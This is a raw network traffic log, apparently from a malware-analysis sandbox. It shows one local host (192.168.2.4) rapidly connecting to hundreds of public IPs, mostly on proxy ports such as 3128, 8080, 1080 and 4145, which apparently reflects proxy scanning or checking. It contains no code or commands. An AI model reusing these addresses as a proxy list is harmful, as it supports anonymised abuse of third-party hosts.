Feb 23, 2024 09:45:17.109455109 CET	50240	3128	192.168.2.4	83.219.145.106
Feb 23, 2024 09:45:17.110930920 CET	3128	50000	37.120.222.132	192.168.2.4
Feb 23, 2024 09:45:17.115525961 CET	50402	8080	192.168.2.4	186.103.130.94
Feb 23, 2024 09:45:17.115525961 CET	50405	3128	192.168.2.4	37.252.13.248
Feb 23, 2024 09:45:17.115526915 CET	50399	8080	192.168.2.4	171.4.71.196
Feb 23, 2024 09:45:17.115526915 CET	50389	8104	192.168.2.4	196.251.221.30
Feb 23, 2024 09:45:17.115526915 CET	50407	3128	192.168.2.4	129.213.52.124
Feb 23, 2024 09:45:17.115529060 CET	50520	4145	192.168.2.4	199.102.107.145
Feb 23, 2024 09:45:17.115529060 CET	49845	80	192.168.2.4	103.152.116.82
Feb 23, 2024 09:45:17.115526915 CET	50469	1080	192.168.2.4	27.65.116.243
Feb 23, 2024 09:45:17.115529060 CET	50391	53128	192.168.2.4	34.64.104.210
Feb 23, 2024 09:45:17.115533113 CET	50384	4890	192.168.2.4	46.0.203.140
Feb 23, 2024 09:45:17.115533113 CET	50394	20986	192.168.2.4	115.144.163.198
Feb 23, 2024 09:45:17.116146088 CET	50557	64608	192.168.2.4	207.180.226.58
Feb 23, 2024 09:45:17.116868019 CET	10739	50198	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:17.118966103 CET	80	50026	50.172.75.124	192.168.2.4
Feb 23, 2024 09:45:17.121710062 CET	50558	8443	192.168.2.4	212.23.175.80
Feb 23, 2024 09:45:17.122505903 CET	15673	50540	23.95.216.90	192.168.2.4
Feb 23, 2024 09:45:17.122782946 CET	15673	50540	23.95.216.90	192.168.2.4
Feb 23, 2024 09:45:17.129694939 CET	33829	50126	103.162.31.91	192.168.2.4
Feb 23, 2024 09:45:17.129724979 CET	33829	50126	103.162.31.91	192.168.2.4
Feb 23, 2024 09:45:17.129772902 CET	50126	33829	192.168.2.4	103.162.31.91
Feb 23, 2024 09:45:17.129987955 CET	50126	33829	192.168.2.4	103.162.31.91
Feb 23, 2024 09:45:17.131117105 CET	50165	4145	192.168.2.4	68.71.247.130
Feb 23, 2024 09:45:17.131124973 CET	50113	80	192.168.2.4	50.204.219.224
Feb 23, 2024 09:45:17.131125927 CET	50395	39873	192.168.2.4	103.37.82.134
Feb 23, 2024 09:45:17.131144047 CET	50115	3128	192.168.2.4	37.53.103.4
Feb 23, 2024 09:45:17.131155014 CET	50398	8181	192.168.2.4	103.180.198.162
Feb 23, 2024 09:45:17.131154060 CET	50112	8080	192.168.2.4	186.192.195.211
Feb 23, 2024 09:45:17.131155014 CET	50413	58628	192.168.2.4	165.227.196.37
Feb 23, 2024 09:45:17.131167889 CET	49911	54450	192.168.2.4	171.226.88.162
Feb 23, 2024 09:45:17.131167889 CET	50256	80	192.168.2.4	50.174.145.13
Feb 23, 2024 09:45:17.131167889 CET	50414	5678	192.168.2.4	212.5.132.74
Feb 23, 2024 09:45:17.131169081 CET	50403	11176	192.168.2.4	51.210.45.148
Feb 23, 2024 09:45:17.131170988 CET	50418	8080	192.168.2.4	77.37.132.129
Feb 23, 2024 09:45:17.131185055 CET	50417	1080	192.168.2.4	193.143.1.201
Feb 23, 2024 09:45:17.131185055 CET	50411	35860	192.168.2.4	212.3.112.128
Feb 23, 2024 09:45:17.131185055 CET	50276	10801	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:17.131190062 CET	50412	999	192.168.2.4	179.1.192.17
Feb 23, 2024 09:45:17.131201982 CET	50404	30464	192.168.2.4	51.79.87.144
Feb 23, 2024 09:45:17.131203890 CET	50420	5020	192.168.2.4	115.127.114.209
Feb 23, 2024 09:45:17.131210089 CET	50416	5678	192.168.2.4	116.118.98.21
Feb 23, 2024 09:45:17.132200003 CET	14917	50518	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:17.137118101 CET	50279	16489	192.168.2.4	162.210.192.135
Feb 23, 2024 09:45:17.138050079 CET	6533	50208	67.43.227.227	192.168.2.4
Feb 23, 2024 09:45:17.138336897 CET	50559	6984	192.168.2.4	162.214.170.144
Feb 23, 2024 09:45:17.138890982 CET	51350	50120	166.62.53.45	192.168.2.4
Feb 23, 2024 09:45:17.141712904 CET	80	50438	50.230.222.202	192.168.2.4
Feb 23, 2024 09:45:17.145320892 CET	8000	49778	137.184.15.145	192.168.2.4
Feb 23, 2024 09:45:17.145797968 CET	50560	80	192.168.2.4	213.6.170.17
Feb 23, 2024 09:45:17.146727085 CET	49856	80	192.168.2.4	50.174.145.10
Feb 23, 2024 09:45:17.146739960 CET	50124	9229	192.168.2.4	201.238.248.139
Feb 23, 2024 09:45:17.146749020 CET	50421	27241	192.168.2.4	109.238.12.156
Feb 23, 2024 09:45:17.146749020 CET	50415	40667	192.168.2.4	109.123.254.43
Feb 23, 2024 09:45:17.146758080 CET	50423	4145	192.168.2.4	177.184.72.22
Feb 23, 2024 09:45:17.146768093 CET	50428	3128	192.168.2.4	154.202.110.13
Feb 23, 2024 09:45:17.146769047 CET	50422	999	192.168.2.4	187.102.208.254
Feb 23, 2024 09:45:17.147056103 CET	3256	49768	125.87.82.86	192.168.2.4
Feb 23, 2024 09:45:17.147519112 CET	80	50034	211.128.96.206	192.168.2.4
Feb 23, 2024 09:45:17.147572041 CET	80	50524	104.18.136.28	192.168.2.4
Feb 23, 2024 09:45:17.147917986 CET	23475	50215	67.43.227.227	192.168.2.4
Feb 23, 2024 09:45:17.148974895 CET	49922	49740	159.223.71.71	192.168.2.4
Feb 23, 2024 09:45:17.149039030 CET	49922	49740	159.223.71.71	192.168.2.4
Feb 23, 2024 09:45:17.149159908 CET	49740	49922	192.168.2.4	159.223.71.71
Feb 23, 2024 09:45:17.149250984 CET	20481	50545	5.196.111.30	192.168.2.4
Feb 23, 2024 09:45:17.149286032 CET	49740	49922	192.168.2.4	159.223.71.71
Feb 23, 2024 09:45:17.149379015 CET	50545	20481	192.168.2.4	5.196.111.30
Feb 23, 2024 09:45:17.150077105 CET	4145	50057	107.181.168.145	192.168.2.4
Feb 23, 2024 09:45:17.151170015 CET	50545	20481	192.168.2.4	5.196.111.30
Feb 23, 2024 09:45:17.152304888 CET	4145	50136	72.210.208.101	192.168.2.4
Feb 23, 2024 09:45:17.152487040 CET	8089	50294	111.225.152.207	192.168.2.4
Feb 23, 2024 09:45:17.152543068 CET	4145	50136	72.210.208.101	192.168.2.4
Feb 23, 2024 09:45:17.152796030 CET	80	50137	50.168.163.178	192.168.2.4
Feb 23, 2024 09:45:17.153451920 CET	80	50539	211.222.252.187	192.168.2.4
Feb 23, 2024 09:45:17.153584957 CET	50539	80	192.168.2.4	211.222.252.187
Feb 23, 2024 09:45:17.154110909 CET	50561	4145	192.168.2.4	72.210.208.101
Feb 23, 2024 09:45:17.154321909 CET	50539	80	192.168.2.4	211.222.252.187
Feb 23, 2024 09:45:17.156905890 CET	80	50331	211.222.252.187	192.168.2.4
Feb 23, 2024 09:45:17.158720016 CET	2941	49952	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:17.159234047 CET	4145	50284	142.54.236.97	192.168.2.4
Feb 23, 2024 09:45:17.159279108 CET	4145	50284	142.54.236.97	192.168.2.4
Feb 23, 2024 09:45:17.161012888 CET	50562	4145	192.168.2.4	142.54.236.97
Feb 23, 2024 09:45:17.161679983 CET	35010	50072	185.215.160.118	192.168.2.4
Feb 23, 2024 09:45:17.161819935 CET	50072	35010	192.168.2.4	185.215.160.118
Feb 23, 2024 09:45:17.162288904 CET	50072	35010	192.168.2.4	185.215.160.118
Feb 23, 2024 09:45:17.162364960 CET	49878	6331	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:17.162365913 CET	49748	5436	192.168.2.4	160.153.245.187
Feb 23, 2024 09:45:17.162379980 CET	50434	26789	192.168.2.4	128.199.221.91
Feb 23, 2024 09:45:17.162379980 CET	50437	16379	192.168.2.4	51.15.254.129
Feb 23, 2024 09:45:17.162453890 CET	49877	2929	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:17.162472010 CET	50076	5678	192.168.2.4	109.127.82.114
Feb 23, 2024 09:45:17.162475109 CET	50289	36546	192.168.2.4	70.32.26.23
Feb 23, 2024 09:45:17.162475109 CET	50444	8080	192.168.2.4	117.3.202.140
Feb 23, 2024 09:45:17.162492990 CET	50441	8080	192.168.2.4	193.34.95.110
Feb 23, 2024 09:45:17.162902117 CET	50563	35010	192.168.2.4	185.215.160.118
Feb 23, 2024 09:45:17.164264917 CET	50564	8080	192.168.2.4	95.47.119.122
Feb 23, 2024 09:45:17.164294958 CET	4145	50328	174.77.111.196	192.168.2.4
Feb 23, 2024 09:45:17.164530993 CET	50328	4145	192.168.2.4	174.77.111.196
Feb 23, 2024 09:45:17.164530993 CET	50328	4145	192.168.2.4	174.77.111.196
Feb 23, 2024 09:45:17.166240931 CET	80	50061	50.172.75.120	192.168.2.4
Feb 23, 2024 09:45:17.166954041 CET	80	50085	172.67.181.89	192.168.2.4
Feb 23, 2024 09:45:17.167129993 CET	3128	50500	65.21.255.197	192.168.2.4
Feb 23, 2024 09:45:17.167195082 CET	3128	50500	65.21.255.197	192.168.2.4
Feb 23, 2024 09:45:17.167494059 CET	22035	49953	67.43.227.228	192.168.2.4
Feb 23, 2024 09:45:17.167522907 CET	50500	3128	192.168.2.4	65.21.255.197
Feb 23, 2024 09:45:17.167556047 CET	50500	3128	192.168.2.4	65.21.255.197
Feb 23, 2024 09:45:17.168494940 CET	1981	50483	144.91.89.245	192.168.2.4
Feb 23, 2024 09:45:17.168848038 CET	80	50086	172.64.80.55	192.168.2.4
Feb 23, 2024 09:45:17.172739983 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.172779083 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.172835112 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.172842026 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.172910929 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.172991991 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.172992945 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.173110962 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.173161983 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.173171043 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.173214912 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.173285007 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.173310995 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.173350096 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.173393011 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.173418999 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.173526049 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.173564911 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.173640966 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.173677921 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.173733950 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.173758030 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.173795938 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.173825979 CET	80	50522	50.218.57.74	192.168.2.4
Feb 23, 2024 09:45:17.173841953 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.174612045 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.174683094 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.174727917 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.174736977 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.174813032 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.174876928 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.174904108 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.174942970 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.175025940 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.175028086 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.175045013 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.175170898 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.176642895 CET	50565	80	192.168.2.4	175.213.76.24
Feb 23, 2024 09:45:17.177963018 CET	50415	50329	148.72.212.252	192.168.2.4
Feb 23, 2024 09:45:17.177995920 CET	50429	32650	192.168.2.4	41.217.220.69
Feb 23, 2024 09:45:17.178006887 CET	50362	3128	192.168.2.4	144.21.53.111
Feb 23, 2024 09:45:17.178008080 CET	50433	58630	192.168.2.4	51.81.186.179
Feb 23, 2024 09:45:17.178009987 CET	50443	80	192.168.2.4	146.190.177.143
Feb 23, 2024 09:45:17.178015947 CET	49814	80	192.168.2.4	50.172.23.10
Feb 23, 2024 09:45:17.178019047 CET	50439	1287	192.168.2.4	174.141.233.168
Feb 23, 2024 09:45:17.178245068 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.178349018 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.178412914 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.178437948 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.178477049 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.178530931 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.178618908 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.178622961 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.178709984 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.178782940 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.178806067 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.178927898 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.180532932 CET	6227	50225	72.10.160.171	192.168.2.4
Feb 23, 2024 09:45:17.180845022 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.180876970 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.180953026 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.180964947 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.181319952 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.181412935 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.181438923 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.181502104 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.181562901 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.181581974 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.181654930 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.181823969 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.183557034 CET	31147	50491	209.121.164.50	192.168.2.4
Feb 23, 2024 09:45:17.185516119 CET	56755	50223	162.214.102.195	192.168.2.4
Feb 23, 2024 09:45:17.187757015 CET	64693	50123	208.87.131.151	192.168.2.4
Feb 23, 2024 09:45:17.188150883 CET	4145	50515	74.119.147.209	192.168.2.4
Feb 23, 2024 09:45:17.188283920 CET	50515	4145	192.168.2.4	74.119.147.209
Feb 23, 2024 09:45:17.188745022 CET	50515	4145	192.168.2.4	74.119.147.209
Feb 23, 2024 09:45:17.190445900 CET	3820	50007	198.12.253.1	192.168.2.4
Feb 23, 2024 09:45:17.190495014 CET	3820	50007	198.12.253.1	192.168.2.4
Feb 23, 2024 09:45:17.190593004 CET	50007	3820	192.168.2.4	198.12.253.1
Feb 23, 2024 09:45:17.190885067 CET	50007	3820	192.168.2.4	198.12.253.1
Feb 23, 2024 09:45:17.192405939 CET	4145	50541	24.249.199.4	192.168.2.4
Feb 23, 2024 09:45:17.192584038 CET	4145	50541	24.249.199.4	192.168.2.4
Feb 23, 2024 09:45:17.193619967 CET	49736	1082	192.168.2.4	181.209.113.234
Feb 23, 2024 09:45:17.193634987 CET	50251	80	192.168.2.4	50.168.163.179
Feb 23, 2024 09:45:17.193640947 CET	49896	2589	192.168.2.4	72.10.160.90
Feb 23, 2024 09:45:17.193643093 CET	50043	3128	192.168.2.4	185.105.230.45
Feb 23, 2024 09:45:17.193691015 CET	29430	50068	162.214.102.121	192.168.2.4
Feb 23, 2024 09:45:17.193720102 CET	49821	8587	192.168.2.4	178.62.103.49
Feb 23, 2024 09:45:17.193721056 CET	50315	44712	192.168.2.4	92.204.135.4
Feb 23, 2024 09:45:17.194478989 CET	50566	4145	192.168.2.4	24.249.199.4
Feb 23, 2024 09:45:17.194849968 CET	25085	50237	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:17.195107937 CET	8080	50056	5.78.89.192	192.168.2.4
Feb 23, 2024 09:45:17.195169926 CET	26589	50549	157.185.161.100	192.168.2.4
Feb 23, 2024 09:45:17.195312023 CET	50549	26589	192.168.2.4	157.185.161.100
Feb 23, 2024 09:45:17.195597887 CET	50549	26589	192.168.2.4	157.185.161.100
Feb 23, 2024 09:45:17.196357965 CET	10011	49834	67.43.227.227	192.168.2.4
Feb 23, 2024 09:45:17.202339888 CET	39796	50347	141.94.174.6	192.168.2.4
Feb 23, 2024 09:45:17.204818964 CET	50567	8080	192.168.2.4	190.187.201.26
Feb 23, 2024 09:45:17.206351995 CET	2419	50320	109.205.181.27	192.168.2.4
Feb 23, 2024 09:45:17.206444979 CET	50320	2419	192.168.2.4	109.205.181.27
Feb 23, 2024 09:45:17.206692934 CET	50320	2419	192.168.2.4	109.205.181.27
Feb 23, 2024 09:45:17.207680941 CET	5678	50342	223.25.101.86	192.168.2.4
Feb 23, 2024 09:45:17.209230900 CET	50250	999	192.168.2.4	190.61.48.24
Feb 23, 2024 09:45:17.209232092 CET	49907	6095	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:17.209765911 CET	10958	50291	132.148.154.97	192.168.2.4
Feb 23, 2024 09:45:17.211779118 CET	1080	50488	27.75.152.191	192.168.2.4
Feb 23, 2024 09:45:17.211811066 CET	1080	50488	27.75.152.191	192.168.2.4
Feb 23, 2024 09:45:17.213073969 CET	4145	50475	116.199.170.17	192.168.2.4
Feb 23, 2024 09:45:17.213486910 CET	48024	50020	181.113.34.86	192.168.2.4
Feb 23, 2024 09:45:17.214194059 CET	50568	1080	192.168.2.4	27.75.152.191
Feb 23, 2024 09:45:17.214747906 CET	6005	50514	87.106.114.124	192.168.2.4
Feb 23, 2024 09:45:17.215524912 CET	50569	80	192.168.2.4	104.20.125.124
Feb 23, 2024 09:45:17.215547085 CET	80	50533	50.170.90.27	192.168.2.4
Feb 23, 2024 09:45:17.217717886 CET	1080	50274	202.162.219.12	192.168.2.4
Feb 23, 2024 09:45:17.219276905 CET	50570	9292	192.168.2.4	177.54.229.0
Feb 23, 2024 09:45:17.219851017 CET	57520	49958	41.242.90.3	192.168.2.4
Feb 23, 2024 09:45:17.221371889 CET	3128	50202	37.156.28.43	192.168.2.4
Feb 23, 2024 09:45:17.221621990 CET	6005	50550	87.106.114.124	192.168.2.4
Feb 23, 2024 09:45:17.221694946 CET	50550	6005	192.168.2.4	87.106.114.124
Feb 23, 2024 09:45:17.222156048 CET	4145	50537	184.181.217.201	192.168.2.4
Feb 23, 2024 09:45:17.222184896 CET	50202	3128	192.168.2.4	37.156.28.43
Feb 23, 2024 09:45:17.222187996 CET	50550	6005	192.168.2.4	87.106.114.124
Feb 23, 2024 09:45:17.222528934 CET	4145	50537	184.181.217.201	192.168.2.4
Feb 23, 2024 09:45:17.223762989 CET	50571	4145	192.168.2.4	184.181.217.201
Feb 23, 2024 09:45:17.224534035 CET	999	50121	45.229.34.174	192.168.2.4
Feb 23, 2024 09:45:17.224870920 CET	49918	26077	192.168.2.4	72.10.160.92
Feb 23, 2024 09:45:17.224873066 CET	50098	80	192.168.2.4	190.58.248.86
Feb 23, 2024 09:45:17.225001097 CET	1080	50538	202.162.219.12	192.168.2.4
Feb 23, 2024 09:45:17.225420952 CET	20056	49818	103.215.139.32	192.168.2.4
Feb 23, 2024 09:45:17.225512981 CET	50538	1080	192.168.2.4	202.162.219.12
Feb 23, 2024 09:45:17.226017952 CET	4145	50321	134.236.118.74	192.168.2.4
Feb 23, 2024 09:45:17.226373911 CET	10801	50276	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:17.226670027 CET	5678	50006	130.193.123.34	192.168.2.4
Feb 23, 2024 09:45:17.226896048 CET	5678	50006	130.193.123.34	192.168.2.4
Feb 23, 2024 09:45:17.229365110 CET	50006	5678	192.168.2.4	130.193.123.34
Feb 23, 2024 09:45:17.229547977 CET	10820	50025	88.255.217.44	192.168.2.4
Feb 23, 2024 09:45:17.231199980 CET	16489	50279	162.210.192.135	192.168.2.4
Feb 23, 2024 09:45:17.235979080 CET	80	50256	50.174.145.13	192.168.2.4
Feb 23, 2024 09:45:17.239959002 CET	5678	50492	212.89.173.101	192.168.2.4
Feb 23, 2024 09:45:17.240525961 CET	49916	32650	192.168.2.4	41.217.223.145
Feb 23, 2024 09:45:17.240535021 CET	49891	45365	192.168.2.4	142.93.151.99
Feb 23, 2024 09:45:17.240545988 CET	50448	8080	192.168.2.4	103.125.154.233
Feb 23, 2024 09:45:17.240547895 CET	50450	4145	192.168.2.4	72.210.252.137
Feb 23, 2024 09:45:17.240551949 CET	50451	8080	192.168.2.4	195.128.96.213
Feb 23, 2024 09:45:17.240552902 CET	50114	80	192.168.2.4	58.182.138.139
Feb 23, 2024 09:45:17.240552902 CET	50141	8080	192.168.2.4	190.19.114.104
Feb 23, 2024 09:45:17.240576029 CET	50445	3128	192.168.2.4	35.189.183.169
Feb 23, 2024 09:45:17.245230913 CET	5678	50542	89.161.90.203	192.168.2.4
Feb 23, 2024 09:45:17.245769978 CET	5678	50542	89.161.90.203	192.168.2.4
Feb 23, 2024 09:45:17.246047020 CET	3128	50362	144.21.53.111	192.168.2.4
Feb 23, 2024 09:45:17.247870922 CET	50362	3128	192.168.2.4	144.21.53.111
Feb 23, 2024 09:45:17.248181105 CET	35010	50072	185.215.160.118	192.168.2.4
Feb 23, 2024 09:45:17.251269102 CET	80	49856	50.174.145.10	192.168.2.4
Feb 23, 2024 09:45:17.251413107 CET	4145	50259	98.170.57.231	192.168.2.4
Feb 23, 2024 09:45:17.251543045 CET	4145	50259	98.170.57.231	192.168.2.4
Feb 23, 2024 09:45:17.253132105 CET	59058	50030	213.136.75.85	192.168.2.4
Feb 23, 2024 09:45:17.256104946 CET	49909	80	192.168.2.4	50.170.90.25
Feb 23, 2024 09:45:17.256127119 CET	50447	999	192.168.2.4	45.231.221.193
Feb 23, 2024 09:45:17.256139040 CET	50182	3128	192.168.2.4	94.142.142.140
Feb 23, 2024 09:45:17.256226063 CET	50538	1080	192.168.2.4	202.162.219.12
Feb 23, 2024 09:45:17.256789923 CET	52246	50022	45.7.177.85	192.168.2.4
Feb 23, 2024 09:45:17.256911993 CET	50006	5678	192.168.2.4	130.193.123.34
Feb 23, 2024 09:45:17.257184029 CET	6331	49878	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:17.257356882 CET	8080	50337	103.172.1.35	192.168.2.4
Feb 23, 2024 09:45:17.257425070 CET	2929	49877	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:17.257584095 CET	50572	5678	192.168.2.4	130.193.123.34
Feb 23, 2024 09:45:17.258893013 CET	50573	5678	192.168.2.4	89.161.90.203
Feb 23, 2024 09:45:17.259043932 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.259057045 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.259073973 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.259085894 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.259134054 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.259134054 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.259192944 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.259206057 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.259260893 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.259274960 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.259279966 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.259337902 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.259357929 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.259370089 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.259385109 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.259407043 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.259433985 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.259445906 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.259500027 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.259536028 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.259546995 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.259557009 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.259567976 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.259579897 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.259732962 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.260674000 CET	50574	4145	192.168.2.4	98.170.57.231
Feb 23, 2024 09:45:17.264718056 CET	36546	50289	70.32.26.23	192.168.2.4
Feb 23, 2024 09:45:17.271759987 CET	50456	55774	192.168.2.4	51.210.4.123
Feb 23, 2024 09:45:17.271759987 CET	50457	3128	192.168.2.4	193.151.109.129
Feb 23, 2024 09:45:17.271774054 CET	50466	4145	192.168.2.4	103.105.40.241
Feb 23, 2024 09:45:17.271774054 CET	50454	8000	192.168.2.4	14.103.24.20
Feb 23, 2024 09:45:17.271800041 CET	50459	4145	192.168.2.4	91.185.236.239
Feb 23, 2024 09:45:17.271831036 CET	50534	80	192.168.2.4	62.99.138.162
Feb 23, 2024 09:45:17.272352934 CET	50452	8080	192.168.2.4	138.121.61.81
Feb 23, 2024 09:45:17.272361994 CET	50453	1080	192.168.2.4	188.255.245.33
Feb 23, 2024 09:45:17.272377014 CET	49946	80	192.168.2.4	50.174.214.218
Feb 23, 2024 09:45:17.272377968 CET	49944	5769	192.168.2.4	67.43.227.228
Feb 23, 2024 09:45:17.272377968 CET	50458	52903	192.168.2.4	203.161.32.242
Feb 23, 2024 09:45:17.272377968 CET	50462	24606	192.168.2.4	161.97.170.209
Feb 23, 2024 09:45:17.272378922 CET	50463	32650	192.168.2.4	41.217.220.214
Feb 23, 2024 09:45:17.272557974 CET	50039	8080	192.168.2.4	195.206.39.222
Feb 23, 2024 09:45:17.272557974 CET	50345	2011	192.168.2.4	67.43.228.253
Feb 23, 2024 09:45:17.278968096 CET	50255	52420	192.168.2.4	162.214.102.121
Feb 23, 2024 09:45:17.278992891 CET	50307	45314	192.168.2.4	104.238.100.115
Feb 23, 2024 09:45:17.280797958 CET	50576	59179	192.168.2.4	162.243.55.12
Feb 23, 2024 09:45:17.280978918 CET	80	50358	203.222.24.36	192.168.2.4
Feb 23, 2024 09:45:17.281832933 CET	9000	50546	122.116.150.2	192.168.2.4
Feb 23, 2024 09:45:17.281936884 CET	50546	9000	192.168.2.4	122.116.150.2
Feb 23, 2024 09:45:17.281949997 CET	8089	50350	111.225.153.200	192.168.2.4
Feb 23, 2024 09:45:17.282514095 CET	50546	9000	192.168.2.4	122.116.150.2
Feb 23, 2024 09:45:17.284312963 CET	50577	80	192.168.2.4	104.16.207.86
Feb 23, 2024 09:45:17.285660982 CET	4145	50520	199.102.107.145	192.168.2.4
Feb 23, 2024 09:45:17.285747051 CET	50520	4145	192.168.2.4	199.102.107.145
Feb 23, 2024 09:45:17.286015034 CET	50520	4145	192.168.2.4	199.102.107.145
Feb 23, 2024 09:45:17.287360907 CET	50467	8080	192.168.2.4	80.240.202.218
Feb 23, 2024 09:45:17.287375927 CET	50472	4153	192.168.2.4	103.165.64.86
Feb 23, 2024 09:45:17.287400961 CET	50468	80	192.168.2.4	197.243.20.187
Feb 23, 2024 09:45:17.287403107 CET	50473	46449	192.168.2.4	94.232.11.178
Feb 23, 2024 09:45:17.287404060 CET	50474	80	192.168.2.4	13.209.156.241
